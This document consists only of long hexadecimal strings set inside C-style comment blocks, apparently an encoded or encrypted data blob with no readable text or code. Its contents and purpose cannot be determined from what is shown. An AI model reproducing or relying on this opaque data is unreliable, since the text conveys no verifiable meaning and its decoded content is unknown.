f32aa722653bd2979681baff1ee181da459934254c744f65769ca95bd0a007328c9ec9ae4545ab39fb646981cdb0ab5ad29a8f79875fb9a3de1371f4085785b73fb2de22c5d113d02e33e518e9b7939559a7f71470903a183a5323d40046f1e113861f8a57128142bdaca1605368b3b41f0eb7b1d6c290af6a66b930157c063c5a7a2cbe73463d2412870fce732f963115e3ebbfd198b88e9866849bb7763b1e20898cfc97e3ac9f71267532bde6ca263ca3efb55636296eca3a8288a38763035e705c8fd74c89bfb5a31d8437d1aceb068f9bb0756cc8c171447e2f4df5d4922a24f233963528ee6f727f980eb05149fb7e10bec17651c8fcd9610436ae4a9b3cef5fe33d9d77efe7f6d5529cec71caf2d7a01c285a970e659d5b87186c5d6497313aa6ad9cc35b92bcde7d1923ff91e258083fe14804ee501a62fdcc701f60e7dc659bc95460d965cb8726293cbfbd6694b49dbbbafebb86de90aac6f325c0ca15df31b0cffb64716a9dd71d8f5235387befe2c2847ed793116e0429656789f424320c1c563ebef0a0c7413e956ef7febe0ee5632a3451cf8cbb491f3e143c99187a46089bacfc05467e99849bed453d413b79a6fcf072725042c58efc65f73bd6ff6021c4175971a1bce9c2926d430ca4cf418e33cfb67d422c6d94634e3017e9b65d655f9802c94f678b3195442d3fed8981d77abd5009a35938d0d99ea51e62c922f0c92e931dca040a4748195c805be5e40269b559af0f5ad43e4d6bec90b1b7a2f04fc6a4af6dade3b6861527bfb302581499c487dc2af1f53ff8d1e62d4b830d030095cc039da4c25efb10ab400833cbe54aea5fe410f880ca2c30a7987dfb5b0ed8038e7728bf585ce998354101c384e691f1c763cc21f1bc4c00f0c1fc079dc0fe69226fa8d2690f66c620423c3d9bc7f57e5d1c7acf2e27527c288d90d802af5cb40993bcf84648eae7f0893a7a0798575734e6819aa713e9f20a4dc86a5b101c63657ea25cae808df62f07060c607466691c7de86e07d8dbca063704782839808f3c4bb8e4510419810b980d2fbd83083db244ef8e1383f9f522ab4dcdcb01f595a7d50344a1840258b94add90905365de645d96f1961ca98f74b98fffee5a3da0f3120479b3dfe7e733df0db87f726daf382d2cd7dad54d0972607df8caa825f25eb03b3eda336b4ee8563f6b8797073d5da31b36f6623406b7273ef7e656438c7c7da6f881fd159b0576eab5aeb34348308b8e0b27e8c63e9c3aee526b36e1c77c156df1d5fde004aca956dc53f6106ea25472c8577ae49af7d9df2b6149c144d2a7c671c1daef10dc025ab6f9090dd649c27532eda7eecc3bf92c93b0a1434c009f8489b2497ee15b54427358d3141d15beade25e370ffa287285cbc58cf5181c467e79c1e222683acc88a1e4f4c33c67f65b7d55590b213794e7b56705f9b8f44df8e9583c363b9bf5a7ee5e8ecba15b39ff378086852ffdff001f0c5f12a4d78d4668fb80e83ffc7014492861fe6f2c85fac764811301afae7bd1c5ac904cbde2177bd8dd8fed2cb3996599a1b35405cfbf07246dc2b99876d631202cb3c9aea19e934b6c7a3a8e5aa75554a44c28975ffd8d36e69a564962cde003e03ada367c10091a51cdbfa1122ab0fe00106f435bd67c62a528dda241aa3d9d288a98dbc2274eb41828686d66a768deb47e27df27e194672c5f665b713474c89a136732af2c245c6c4f019f9134b9ea5917c375adb88e65c921ad6a65281157d1272f4502f4388a0261a139865d66426a06df18ef794e5931a71e74f42d547066580686c077dd28fa8fee84af20f55859a3f374c6c9cf244ee7872c1456ac5b14d6ab1e4b4b3300a0f21a514152efb6c2c2df92624113651a880fab24e02e2dc0b51a2368578368326df885a7652ddbcfeea8e5a646b82657beae4adfa0fdb0b328e9e39a13ffa8c16842b9970442e8d20ab2338335574fc359de5476ee264e7872b1a67566e37c7292141f36a69c2c68cd18a56a6f5d6123c231c0e4f91cf7e00ef5efad633aae0457677344ef2bb151aab2efe2fb5cc15e50cad4323c8cea0e3bbefd717a2ff2797592dd4e074f440bcf8b75a960fc0f0bba743a948c9c0997e557f1a2473d04e1146dc2cde8627e7748d82c8e916be4bfeaa24fcb328f3f7ba3d9f27b52c9bff85ab40e86bc6835fdded72f4aaeaf859979c714620781e7e4c57dbe7cb3fae4e01d913d972*/
/*c1ea6900406054068a1c58ab3dbb60fe31bf0a49a08d3621d0a93aaf49a4f5fbfacf133a57f0525be56f7ca930e633bd68f0887141137ee61f0d2974bf1d57952180490e1c24457b9c3600bedb29cc08cf8832e870aac87f5f954c9bf9915e10d0a5666c7827cdd6e33bbbd4ac5a24f6bb1a02c2cdd9d4df8633eee5322c918ef6fe3a8f4a099733f40a55f06dca476b10fadd9fc80bba27353b277e509911d26a3d7578ae0160d21427f738f35ca9d421d69cc60efce559c5e8cd5a1a31a6ce91356d4a337df6873a0e7d8269b0a2fb75e40e845faa5600df7bd970176bf616e80be1eb2e04abb7727fa3da5572487f94b707553056c772354eb58e299f9f088670fa98674716a8d9b3fc255c8e2f98693588e8cf0b955beb003be29eb47f3b924a9300cd2bed2e4376f813c9cd3ac2b14d158e6d8e6d8c1471afa1fe1b42f98666ac829408a2d0274fd242a8b368af8449197a9efb560b4ad915f7198de75de4338d3dff168793a6f62d6017b6bbef6ef48fcc9868839c4acb7d0630eed09b8eff3fd8d9d2a307aa07c784ce67f01cc7f4dd92362f080a13535a892a08cf1ecba615b2404bcd6cd078b6d7b7489730d1adbebf582686002a0846ba285be670c53b3684469ed4c4501d20d5deecd3e7d76e7485fc751afa5a8190025493b248279560fa7f41a108eb398d792c224b872220bec2ec0ef71e6cafc6864f147ae048c9c228835bc0dca7f871937e3cb12728d4fd139141fd4f675c4d9845e15915b49353d50cbdd2f6a844a6f00182d2fa546abcc0dbcdd948936a5f1dacf3b447a50f384638a9d4678d59f6f29d8d0df30d81af4e184148554d1d4b734697b3697e70b7746bef06a80352598b2b157a236fb7d0be594d4d27339a4c2b7c9d56d1eb0cc9cdcbd1c426d3b636c943eeb6b0b9d49df96ad56ccc2215b9bd49f4a4f89610cfcb01b3d400eb02c0af5a96b8265559f167548fd278ce9b098b1bff6dbcfac2a3193734d9a9601535e1a78f1622fd5c4eccdf7e43b3be7b9c1884cf93f0d12c1bd4c0bbe64f86fc0afb53708446abfd08c945b9966736c18a97cabeccdcc19261987bbbc7dd5eab88cb9acc7c6de59683a0ac110a0f0ff2bc742569db6d22282577cc6e2066fafb68e40c8a50219edebd1e00c3983cb894bf4832f480caf08455bf17fdc818a57326facbe76996d10422b782650436cf1bec7db6b5355571126c359beb3c6aba85fe8470147b74fa376d1001742033094b6c2a4a5cce3fe164f80745f830ee743f298cbcbea4897e85eed6440102c9ac4d9653c6f6dfb4234d958a64fec07e75734a4fadfe32ae3d278855baf1b35e3c7d88532d856b222a11834f5fea36413c8e3baf26b84ccfc790b16cac36c9bf25a4d811f3a78bc28b4c3bc430de04d4c92bdeb81f03568acebb34e5bc1b23f36a769f5bee167b509e4a18446f6e6211c76e586e713892f2bff2246d18999484acf205af71a3b9475267793406d1c33299dd5b621a17a9dd9cbf4847e72da94e52de6c198710a6efce154cd39d3e233b56320d4d1dc9c158abaf855a934f93795d536340e9a88ac9cd7ba7d1802c308491942eafcbadee565cd0bbbacab933d0c4e3137903e386c31f61e8d063549ea9bc96af77e02ef11b48b4db3556cb1054e83421dd25d600ea4b0b0e14b892ff65b605f3359d6780f85fdb151ae5f60d2f54b04565fe5b950e60cfe551ca9eacc1ab5ed5343879fb86e42a8261fb070fd04e7b45a5d01fbd01f6e46cdbc619b9c0ffdd22fbe810358ae47234e905e107a2be1617cac1200b72f40df67d2121e29f5ace78a7e5594f10131707768cd8e0f0bfd07a7f1366dc2d399a01fc620ed7ae6bb68614ca87d789d9f22ede45a30f4bb93fa771b8cb72fe961f034d9cda15d5e450fb6c7ac3f2b455cfb99ea836bbcb3845cd3daa4ebfb07db00c4de1918cde2d5f4c3a093c4233caacb7fe0dc8bcc2435b95be297194cb2d50e63ce047ad65caf7b4023d13d68a64b73eb769700a5a13dd0a37c70b7e60e052c2bf54006522ea90d8e3fa8460b061a7cbf6742663e81a2af83958226a719f0c291ee785a466167222bfd792f6e8171a88e86e20320e7465fca710bb5039097a7fc6e72ed15c144c518a1c8a04a5b28cda955f1b22737db1511e03345b151cb0d70102d5da67fc46f879d01340a56d304250ba536bdf49631bd658ee1c3a91b68b00a5615b78001b6de0e263be2ae4809464f3723d9635e37554d7604d93bb193b7bcf6babb4ef9f9f3af54defaaeeddfb5af02c3f9d77654189d7997f2785117535323853023e19ca23a9d19168b7ee74d2eb35a24cea13cbede34079162e9c7f58f5124502addb340d170739470617d70634351f5855befb65fc5dcc543a9fe73859245125cf534998633b974365a0774bbed70c00678e254c793daf67ea7215d99dd9a6c8202283f16bf5ee24bcabd6467504cf1db5f7cf2441f928b952400f4c63e5c526b789cfbf21d39d4979b1c3a1d1f67d7b8d39d33ec3da272ed2012115d204624037ca4d91540663e6c3fabbfaa57fb0339356acc6676280e8ff6397df7f5966c31d53f72ac5edb5f5b8a8bf7fc33c7238d725f6b9d224e6d82f6ccfbe56de45f6dd1e79960a884f6d33afe08cbca6a6380b47a682fe051fcaa12020a0c4939dd23f00cb6d00236f8b64841e38b3e9870ace2186a19f20988207a1a1817fe726c3a944f4952e0d01a56419dd702e61f53a2210c9c80a32c624a520408391a4500b555c732ee5d6f8c36959568a9a718d0d58af452dedc7e4c11615571d265493f9e458df2b29941342*/
/*7b99f2c2fdb3698e71debed2053e345534d7a9259ed77422847c0db6bdb45efb77958ec171cc2466244c6975bbd0d48efacd6b1e9c5989716ea63a60546b584a66e0925c4b00ffbc15eec6cf23ded730f0be4bd4a7f5ae91ce3c5b2b7e27cb1b9a07120e7634b20d6580fbc1776ebb9396ce0215045be048051bb8402a0c11f32d27f9f5c416e380e5dbd0bde5211007c556fdb1850555541daa5ce381a6048bb38698fe13b12e55a12e35bd170c6e19ff870164c85537c04099fc204615864630c8d70b3d7a5c03abe3afd5e7ee51d49f60aa7dc7c6b93a6fc2c7657a52f19607fe7aeac93911021458cc8afb35876cb86f8e6cc21485c182ff82daa77af7755b4f18a3db692ac70f3c8564d9fe4a43afabfd8f1a345b21bb3b67456e69a59d470380f4ec07206c4913541ae6b2c31ae455a67311ac995d57a567e74f5792ec404a93c11b5628ce63368f594cf3f777c1bd993b02b6fda6eafb3c12c31e544f177799b998efa75d2144734a772278ec5aa72cc9856ba75a0f670136acd22f2a7439c4d3a3498b17cae301bf74f21a4f3e636bad749af6e05ecc13e63f6ad3eb352db87f3fe5c920eb1cdf3c30f78d4417be6f850508f1115844e1aa5d36d07ee5be0a10e04ec25b25f7f33304724cfbb845142028479a64e453d3adfdfa36217ec9018e3d778c14685ed7752ad9db71ad1a2c46685a6674901f972e6af8fb38f95e136bc8740d16f0748cc04aae2f8aa5fb676599fb0040786fe0b22c078307ce14a94fb07b4bd51e92e4323f83edd5faa64319a50346574fb9692cd3d867624db87a0d3213e6721468b93cb224a3d9be5849a9475855918ea77c73548d2f390d00bb8fb304e449386c8be8697b358e265ad4f6bf38931d21dc9fe5b7245346c6ccbc1552e1fa59d11d8d5e20c41ad56394165114753da226f67b33f02cf1e3af7666db141005b5a0ac0cc465da1ee8db51cade37827ce52548fb26605158cd1c19a2a7c5b599b95c36fe8998cec230969f884dab323ea528189d3c03d3c88478f3bf7428e9b3bee31eec087b6bde6e1c7a6cf27d888af81ec029249979c23053e98df20f9c28c822e0f6afbe4cbba72666d0a9291c4ef6364c3361712701f8465c7dbcd210c65bbf9f11b1a7f1907a7e0671de0e2aeb19d46d9d6d2b1a6df9db2dd038169d3777f0ae8e14cc17df25d7d0b05d1ac3e161afccda9ed9e7e17a0ba4ce334b94a47bcfe32026f87c5ed0d337c228e338dfec2bd614732053c7c8b1c65c3aa38ec882880fa324ff8fd83b6e7114ea9b2d15f775c0f1867ff2385bffa306e9dd6fc170f3fdc0fc8182237802fc22dbdf89f6f421d04fa5458dc5e48761602ee7fb34541a11b59539baeda478f80e35780e16ed1557bcb9765b2bf07964a38e61c02961b8546e5021fe02d2501cf22f2333a4d82bd7962105e1a9d794264575a4e060fec6b320a5f30d037203ba450ae330d6dd58665d6631be37a2b881674bb2885eddadc3a8de8d659d68aa172567d0837c2ec9e178ca7479a04a0d11439a16613f3ecf56fcbc744c2c1c9f4ea95e67a2153cfa96f45f13f24292405758fbc1bf71c4ad2b8566e14943038d64b7f29cb5eccc010900b880598bc87b43186cf3177f6e1ef086d3365f3492ed247082554c485e80878a8bc5795602b6f146bf4e82fb8f563042086b64a4d1e505fffdb41bcc6559acb6aa16f4cd8db80e243eb256fa2035cd7a3919468915efbcc186a487af0944e3f5a50983ea8f69a078e58b9dcca6e5863bc8125082cf5246c2b5a13596fdcd164bf1df4dfafdaf5bc1dfac9d4497bbf6de4d9f9e0c75f253b31d3d820894b0cfcb18a633f70d4d3d7e82d64f5dd47a84f8ae91e6b55e793613c6bf00764f8bce4a78fb92c2977b6816675b333ba7c61b4577c6c4a0bbbdfb06477971a7984a110923ab19a4daaa494d0ca9cbdd525eb98ecf7f6d419cb5fa0db7dd7fd5e3cb363026d89c4d4da8f2207a6ebe269972e5893b791ee19dce2aae779176adf0baab21a1fe027cd7058eb3053ae2bf5a1eccc70c51d9a9e6b1e5cf2edcdc9d06c7ae283779c70fba1f7486743391299763cbada9a06b53f24b6911fec01015604492d482031b63b6c164e27560d9bf1433966b1fdf099b86bbb65f2e8d7612d1806da8b71861db9ea99e0f2ce673ed4bba208f9d94f6f80b0409c65cbfafba26878f01c7786337a2403eac713f933c5c4d4ad0c455df1f3062beb86fea05079fc9d862ef423f1a15ec2e6d807ade6856b860f27f4a4f3e3f512034b57ad3426640662762c2024a6c6efabb8d3a2f28826de0b779708de47123ebf8fb8e353f8a971d9b4c1e0ebb265fe969fe96a0ea49e50b9655aa734ba177bb7c3e2db18f0be20da737377d2070f2a49e9bd288bd04faa3b9e67a0c5b47f14060c740f14fe9bb4124eb729ed2975356147f1006d055499dfa6544f378dbb1a91fa448347fb434b6e55b1cbc27a4d5528c53d31d10661876f7c05bb2b2c9a7e026d39c5a04b1606291401e9f22565aac790202552676646d495212df9679690e67e423f7c26754139b5f5b1edc6e4b74fa2148c2c2529f7b16fe5b218258e7f754955acb45cbd18365eeecbe4d28e4a1630030a2415131b8190022b718b85da65a550361106c9d27e663d2b6cd1a593b6825fc383b3dc7537d3bf25d4297fbbc7b9dce019f6d7fec79781df6feba8086ec8c33bf33539b83c0c0919cf776fdbdfce2efb4181e787c18305304d3a2838937102f3151e10e89cabb2dc8b120783a650d11ecdaf696bbf09fe63474289f97052c0f82e88474aa25ff747e409f*/
/*ed88215c101d384867bbd40b758c6f6fb1be6372b9b9b9365a1da09a92ba5cc792ffba69d9917dca1f1709f7ec67a45fb5b71a90db72bb1fa52e86f91f518ad8fc913aaa817c4922f1226bd98b8a418ea1fe054e7da3b0b82051e72ae0390bba9f90382e171b28dd761e7b0fc1399e8e4ca84dedfad4c5be1fe157c8dacaead06e722b42b7533a501d545c5c1cd95b450b854dcb1ef225ad669964b8998281f72fc7a6e7b96fef6cbc4c8328d24b1c85b23787ec8c7fff986d7ed4c32497812a64c1c4138e39afb57ce626bfd95cdcb6fe46bdb8218e49a90c88433dde1e1f55e8c3824029e70d5c17f6d60c98485b39347aa1fdd855b41d9f8c9fe86a15a9a4b163acd96064d98f8e419e3f9fb8c54c706e34cf2c234ccaa566e8ac58a60a7149cbaa142b8435230b953fdd2806be82d0270efade8578910ba2d9fa1b550f4da5cb9258a85c0a7d422abec8ec439552bbf34d22b397abe2603c6cada8291bf4928789b2979de62076f2cc0c9b88d008c9aa2b38da0e09fb3035f0e47f56425fc1d5897345c3a49c54fe6db06660cf514e7307185e57d04afb04e57303ce640f42f46e109890be7f29a525b3e375edd5c5435f51710736fe92ce2fc601870662436dcaecafdfb6c3f101c61bb92f561f5c54eef9ad013ec59fd2ae99b7ab17a08561232f0297d6a07eedcaa54607b9494e44c7163b1dcaadc0870b3cb6e662f4c373928e93bbe1ee3492038a12bfb64ac17043d2f5f5312a321a2213c3097bab90e6adb8abf558a606288ca9e13fb872e3989037ca273cbf9f8a2c38caa6491f9745cd22788c715ac43782ff8deaaf71da453a976b6d8e1f3cac0b6059506bf560c3a7d192ec2fc69b076a7638c1f1022e1eef527be07e6683a6ead2c0b08b11e68c7c571323d29c26fd00d05414d901db2975c2df476d823308eb37504d24da076bb2fdf3d62b06252ada1338afba1438f3697dbb015565c3f4b935a11d4a6e26dcebc98a308664eaa5e85b015a67c72ebbc0bfbe47c07ee66d62befd87197cea9ad437fdf8325711f1dc84eee4e404491d33aa890dc5cb7bbd3d959dddfa04947aa6df57a38f54a13ac337317f2cc25ac489f622f225d57a0a49544322963c72ee2e15ba161c4313d2bad0326844e53c381f591587cf0484a872f4d177a4d27a9d07ae54a97758162ee2bc4b7bcd6591db2f2bff63ab6d26e4b4eb0f94e27f3e0d8559bc705810e8911f3391783f92f4c07db9632f368273cba4421ca473055d7e577d4f76c48a26127d4a17c388934b946ae9feb38adc1c16ac402da6b0f61fe79e6b8ab1348ceaa910cd198aaf880e71c584fa28b524c4c33e00a23bbfe3b0e79548d2cab6a06a3e53c382c1c2e9f554c151ce16f8ebca1a192fb193c087f2c56ee4faafd45f4a115b77fb187ac270b94286a04c84319d4b84c6dde59280ba3e5f5aee6e52f3adb618233f68a1bd4cb3821f00cdf3769c263ebf7eac5d66ba818e48ae24ef6d0f7849d7bfc94219a27fc30b37fe902fc7be9089c6a0e8b9ce9cbd8a2b225b8a1f7ad38d17c34a11b2b0616111f031f10bd6f550f4af7ff28626dfac8923f32278f60064c33bc31fdc4b9d3760b3f6b3294b36ed85600caabc2b795279180bb4ef1bb0f65715119492567b2bd636328186f7ebba65a607a7d8c6996e1c2ed343c098d07fd2e50d4f1374c24a7990543c202773187783d366cb2c7bf56ef4f2aa550c677fa15921ac75bda2e87732571357263f51a4cc0856ef12556293af2d879230169bc49970671de8cd12575ab37e2e8b3f0558b62431dcaf65814068d858b7b467e248e9f4350e7e04ade48a41b0707eb352014f314a5f415b206101ed313c517bd04f2c53dc7d62d66b4ee77f2114e8978374667b284066f0d751891c1b54d506c86ee72124071beaeb42f18313bbe1ff14fe3a9d9f030b052a39ba095d467694a83a6549fd68b46936cf466d5dabc472b392a6edc5fdf0f8154bbfd48d411bde88cc6ec8170757cab4d22e4ebe75555d0385e053513ff308ab20af523fbc0829386aa0fd21634bc31a908f031a82c53511f293e243dbf7b8ebf27f839cedf7172074b9277f67a6385521650146c036a6e23b3bd6344ff430ce647e520d13cf4f0b47eb2ba01f341856a103990ff694ff0702a3cddf2df3ba669c457c2c792d6044347e84947fb53926bf4fc531de5652e6ec079ec3bd01ecdafd3e43cd8e2790e5b162026363d37b643a790b4aed021db355da0b6bc8f52abeab7ad484c917e9cfc29e3671898c364ea33249426a88b91776e7f4edeec56e85e773d93b55b5c51450745a296735a2cea2bae14e65be04ca9f21670b12a96164d39a1b6beca3ebebe6082ce8ae7b8b909d6873732fd4ce8d14fb47f05be4f065da11432ca3f72f0afec8eac380cdac58ebc2258b9f067e8604bec72155b9ca2dd512bc3cf21cab5e55229566f432b66596ca27a79804ce9adec6cf85fa1a02fee3a7ba5f4120d7c6cd810489251b82c3fd1abc364ca41326580354799a53f174b746f133632459991932e0e7255bba3f8779dfe0598e59cc7c75f36fdfcb0461d764ac801609369264477e3c445be4261aa9a220d6047f9bf3990429df3fe72cbff300329f1951912d008f99e95b31db37e53893963b797987194bf006d8b35d043e4b2f5c874c4fca4b83036c1f534d69b051630e6db34ee3be439638b5f0903534abe4e9480e485350df354d4407bd331dad9dd46eb6c7d5398997314e21260cc3315c73478c9ca464a76a51c48890b103e1a1b96827bd530d2e969f989e42fdd7f9c431fd5ca6a734c92a*/
/*e854329d1c46e4150799d94f549e2be1be3bb9b805e1d8c56fcb824849d764df97885acc947cc882e9e97d9079750bb704efbe0626ed958231c0ad3488afabcaff066c37755e3e6b72f3934ad076eda3a63dddc6f96ebb8e59dc47a3460039382ea824ca46aa44becbd22e707d44f970234c51e971f35b97845ab0bffe4f96ad650fc2e7d4fc90803061d008ef8e9b5d79affc838d9efea3292d7a54baca30049023c9953efaf09d69cac3eb0e40179b549c39c17a380f3ffa66ae0828a0f7eaf8e4b32bca9204d2e84cd934345cc91709a91d67698605b2bf7d69d158fe0ae07e91cf373210b9d327710a5a4a46e697348ed252602797c3337a1701dd60867c33b02dc9d0a68ef45ffe3e410e5b2c0dfdf91636cb388225dec1d8d9dbb4d2646d1cfe7928954036378324a23522eaf837b9b8a82ddcb396f5a45edec17cd6f656f201af71345fffa3629b60204f885108e262b9873dab3238d32ed65ab52576d72b62caaaebae62960c6f9c3e0056ebc9402ff61a75a881512198d83a95c333207ae44eb61f8f6cec085dc21f75b285a8ff06c004641c9b7e2eef81a8beffd80ca340d70cf05a6022f506c17ddfdb0822c1f796014f51cca375bfb73ea6b9ce203d4a0b2c55eaa1539d2b7981852c4f49779f2ae59c73b68b65ed83f5745d0664c7fc290ee3b1ab655b5a55e7853ba7a9585e912d9be992c857d971d03f48ce5bc08b936b3e464a294a279970a4e242d96fbbe82392af0b47966d8470e4f02f2c56e4b33ad863f6b7beb47c075792b170afef708b24ceecf7856b7775150dc42b913d3b532bb794a5867b8657c737822f3a75a53de54f8b0641ad2331841dd7cedb218a4da76144c960d7094a3998efd8d1e6c7a156667c64f56a106f30c952ce3e94b277a6f2cd2d11bf6c950c16404d3708f6f3e11f8727a7c98cb9afa23856b4959c4cff1d3fecd8a71d76f3b7969e7ac5dc2a6c14f7d46ebfcf269a542463950c0dd0bedb1cc009650459f8276e2c538c7babed5b16c3c8bdc61088d7a2cf4bfc878e7540c7ee351e8625bdaca6dae6b6df02e08c1d0c552ec4e4a91247931f234b09e371fc12907430a65b092babf8964363d110e5bf85bfb209964335cd94899ddeb270aa47f8835de5d02434427d0a15919424c86ed96f471323830fbe7e2e5a8e4a88f30bd9295d281885dab3a5d602b2653dd780e78e8c895ca76c3b0c313b8d34e9b038d91e4dbc7384be728565abba76aaec000880bd2607f86b080c6061568ea0efc113798e2b6b656c605b1881e6aa45b19b4e8a8614dfdd194fadca13e1d06d49ba39bafad64de7d24c5a026233c82739df2b9fa1b6ef9446eb17045381a6060ec226fdba2d423d2259f766c9a5bb8c6f8e03624f598395781d82a63855e952e46c5baf81ac724f254615de860e47490745d51fa3e93ff4fa1a5dac7b9c7550288c5df13db36c8f1afff78da63f9a58cfa07bbf4024a526f36e317ad0d0429e93f3561b38289acb2b586bd0e8603281057c8065b9f13e0cac1905a259257e00e92a23f3d6c98333e3db834b5cdc75e6e549cc040486c5312ad312ee36bb7c6498cd2340154415a6172f66be38535c38436fd673ab2688114cbdf5524ed928f546e0da928422196d5f152f39743a281d564eefe7bdd7fd95babcbc8081ed08c6ee9d5ec6ef7191debb3ccac5b06c8ab36b21468c21442dfaf51daf40123203a32f43c374b5ab3ff6625dd56a56c5cafc06355c8329fb114faf91578e57ff3f588f13ecf111dbd41b73e0b148faa9fcb2aa53bbe952afece8b857610922cceb4308c67462e8599ae319aeb643369f6e87d319ca50ba4d97ef7ba907052bb5339122fbc89578c9e3277f721e17db3c19fdc4721d8c79569a17f799d64813f451700a708dbfc92daf405cdf1abd5dfaf917ca40667d81356a27e90842800c9a2683a20fb707ffd044a428bb8bb76767d7db69bdb26b770ab095630cd8af416619d46270427555aff8ffffaf0d6f17c4c2b083b191a6030a9910a9fa52726ec5b1e7e17636e4a0fdae49f9137d202a6b23f8dd4428f6104ec60806f69d663e208864385684b3edcf25e51c255eecce5757dc7e7ffdfcd69bb5fb3577b64533cac4e291b0b6862475a671c48daece4e91300e79f95f78dd59309ccda7a2b8c8b63bce46a4d0048b89fad88263045ebb2af9f374cd648af6e37aef4655acf2c1e0b0538ed21938d22f860880fa9f24b31b033f4d701987a24928b5ea7f12ec251366573a3568b2479ab84c573195c4e2d3ea808e12fb66f43bc792288607b48b8456a1202b8116a1937d638cef44010b451a916d459523f98640d4212bb8549733e1a9a2832f0a8ef69d9fb2fdceb2348e2b264920349abba1113753469cb2669b2a2b23cd82c72e8be691e82715343b5f8732a87bae0554a4e695d031b5f6ad9d209810cbfe1e755cffa0c1e1deba3414e6281b3eff5a459b45c5abe1af854f889477113034040890c32f19b1a4d1984b35642879e9629c45fc657fc66446180a33b652736365ec9bb7c572dfe8fc724f107b8a7840d7a18a89d8b34bcede314d53527955eb5fc9df3d787b336d3bf10876059700b985d4caa794db29fe1ee59e5e94315d42974303f4755db5de50cd295696f0cd6b21dea1fd5150dfe6193a4b884302db25e156ef2cf0773ad14f950b77d1e7fbd664cd59fb58801984fdfa74c70114ae57c47a771ac00423bc6932a1ff36f151c69f238d7a4e73266764f17d726851fef93b2266804b7cb6bdf7806d05e778cac9ed2ad25462de849c4c83a6172c0b46b15b1178ab799e*/
/*512cf0eacf55bfe046848288f335658fb933b98175a5bbe641234542dac92dc9adba346ec58dba9af9b45b73407c33f4864cfb7ac80009045c9c5c532174267245c3f6bd0682867d5a9bd931e921391d6c3dde8d92d698b0ae241009140da65b9f1f8ecc685f368845b7d47d81b5b7f67e697c644c9b96e8838a81d16fec72c9bf4c1cdb665bb9154bdc15669f376fbfd341c36d6dc3644af8d3e2a8d2ba4438de9b84d8046cb4df0a429d15935b81308024877fcc322bd4d0ce8914f7404e05b270a51c2f17187f914de3cbb3e205b3b99e58108bbd2c51d01516de706f95b70041dfebeafcdde52a866600a940c35b0f02d91c9a859e9c18d14b2151e9e2272a966123d601f27926ecfed4b27977c2bc056b9653798043020d15679a58b95bcd9f0c78189010fb3af8535e9228d6bb510f60b7d6e43ef0ad7b6185a4e3a112e21b4c786680357d30e8620fba8e153c579ef89259f04b59f7c2bd47c702a7a6e3d604006cd7619d707ceb25b6bfe4e7dc0e307fb45ed284b63e794fb24d8b42dd3479a92afa213db29759cc6d959ab9cd2974cd7b2f2d0460b7e0e84bec70ab2fbd50dd0f309c52c6a53223f2b7c51c42f57ab800cf86841bc36f6a5b3649f3945d025d4bcf9d6cfe78c79922da487ab39b41761c0409c51e2bb93ab9913f635ef0af2dfcad9d279eaecc7fef1a2f254e6a9c87186b1cb9d593c9215d26439d97050d30ca113d2fa57c8035eabbe94f09b3ada919818872e219c64f2db5d271e3065596306073b679215a8584d079761aaf104cbbee97632e620cfa02d579c3b5b4e9308c01662b12eabb8a883562bb2751ff7f519a1b8dcf565d92bb760a64b9da1f8ba4c1ac87b462446e4dcbfdea0c45fd9d2faa965f4ca8fa8005f6f95fd007a19eb7b26255fe6999e8f565c2121a25b29985b5ea165a08e6f3d5a64fc442304ca66f2f3e15a5ea9635e2be3fe228a512b44d36d4e5f7e3f68ec8cc80a55a364a15ca01992417d12d6781bba089e71613f009c6b62179743bc51e1ef612ec79ba4b312de77815a1625150408fe6d53abf5330a8813b6cf23a6f2e203f866e8d67cf7d62f6c623f74cd41b99563cff0c94c637a387f77d78368202e686f75f4cadbdfd3ec533f443385d724152360e4fb829954a261f70e9c680ca4bb703bbb0431ed8ad8506e141973d8be8144d8264334b831a26ee371a8f50781d4fe781057ca3feb8eb4bd6a630f58eabc980a5d4aad2c08244786a44fd5e1f2fc389c9dfc9d126b5791f86159468cc8e06f2e58dec098e60c54f2c6121a6921ce4b43958aa199dd1976eb4b8774fd6f3e2a300bb3e9183ce4cc17c80800fe92f93ce855319f0dd6c6c0a5a40f9701e667ac1652afac87450dc6ebbe3a59405ac872143d12cd4cf0494f1e701b0e5415f72402549a219b18195ce6047a9f4b9f23e13fa3946c8e7f5539fee81f07b6516a8395fd8d8be1c889dc31e585c2e46d54e056f2e30b4b25047b1b012aa3b76802c09176d2c94e38b7ee5e34eabed1c9022a2c9f5e31c587eb3fd8728f8db4e75bb0179ea7d13a6dd907774d80f11041f99c57aa2123e9eed2314f86ee4d6d49aba41e6d3e75e79b351230e381fc0da6674526175f9bfd6a265f993f86ce63b187a2af2a8fa57b6e49eb4bf8e1bb88688994ac92d7007ed2510367805e5efc187de83da8cf1735eaeafbab623120b1afdf3c7e8044de29ed87e7acee7ba9bdc609d1cb014edcc5f4995c9f05599b2f953081b8d2893b76cb3b6f2d1e59f0d2d17e03e046a8c44929c6a3362aa35584994ef12a4fdd10434ebbe6f5e32b12df26a8339592d35bb3e35f70c4b54b1f7cfe0e03f3a7dd6567814f3557fb991f48d405f46bcb281c593d20ae023b2d546ef33d258662159b79f450fbb188a8862e0aaa54ed3d830000ded110072025e6b7f15ffc5220f57ae7633769e657bb3c72f055391886a7453aa576f16e0989be4d7de92322973352e1f82b49539fee797a64c29bc97ed8d173681d4ec4ff37b4518b7dc4a81bfe16e07363e623c411de2d70b0afe9933e063c800a7a9cab919fb5551ce292d64664ba204f63dc64116c5fd8af1eab4546ae9191d867c3173c9844deb93fce04449e2ac6c41cf2f174cfa0c698603bea9f7d354ab2e79a736897876778f0ed30346ec0d1a874ffc42aa50af88e53c04e7a21fd9ff3f32a51dd5f453fe2c96b58ae414a8d58d6fc85ff734d0c9be25bfb4495aa5777469ffa32a7a14a6403401629ec3f36339eb036a99dc16334aca24d2e5f5f1c393fe88f703d5e6c9bb3e63b76a0668dbaf3dabc163ed11a1141d1fcfb0a8f8f0705822bf1d26bf119c934cd28c3040015f45a568a752bd5c4c021b7d3fdf195e1b698e0d40fa354af00a199f4dca6b8a9948c4109552ec9c1c84b9f0585e5f02a9fb9dde696a74e8ff1cf0063dcc017a3b52b9f2748d27ab7b3c855459d45fab38be4f8bb23ce48e49d99afb62ba6accef7bbf6e8d8f8ec90a615e1ff0b88612f5555f409428bddc7d7d81b8334e0b98099150e4836d48f267092c410221a4c9703b6beb1f7667423797db613e8e0c3012dbcf76df033b64f96a47061d454e0b67794097bfe438fdc1f9120be4f411416c4351e8240d0be84cf9116c493e0f3b8cb05309ab97f4ab75e8fac47d34cb94bc6af65f829d3f7335a0c2c6ee4196af502050e7c992ca08263759198e293b4736af101daf923f2c805b7f79a5ee16416d78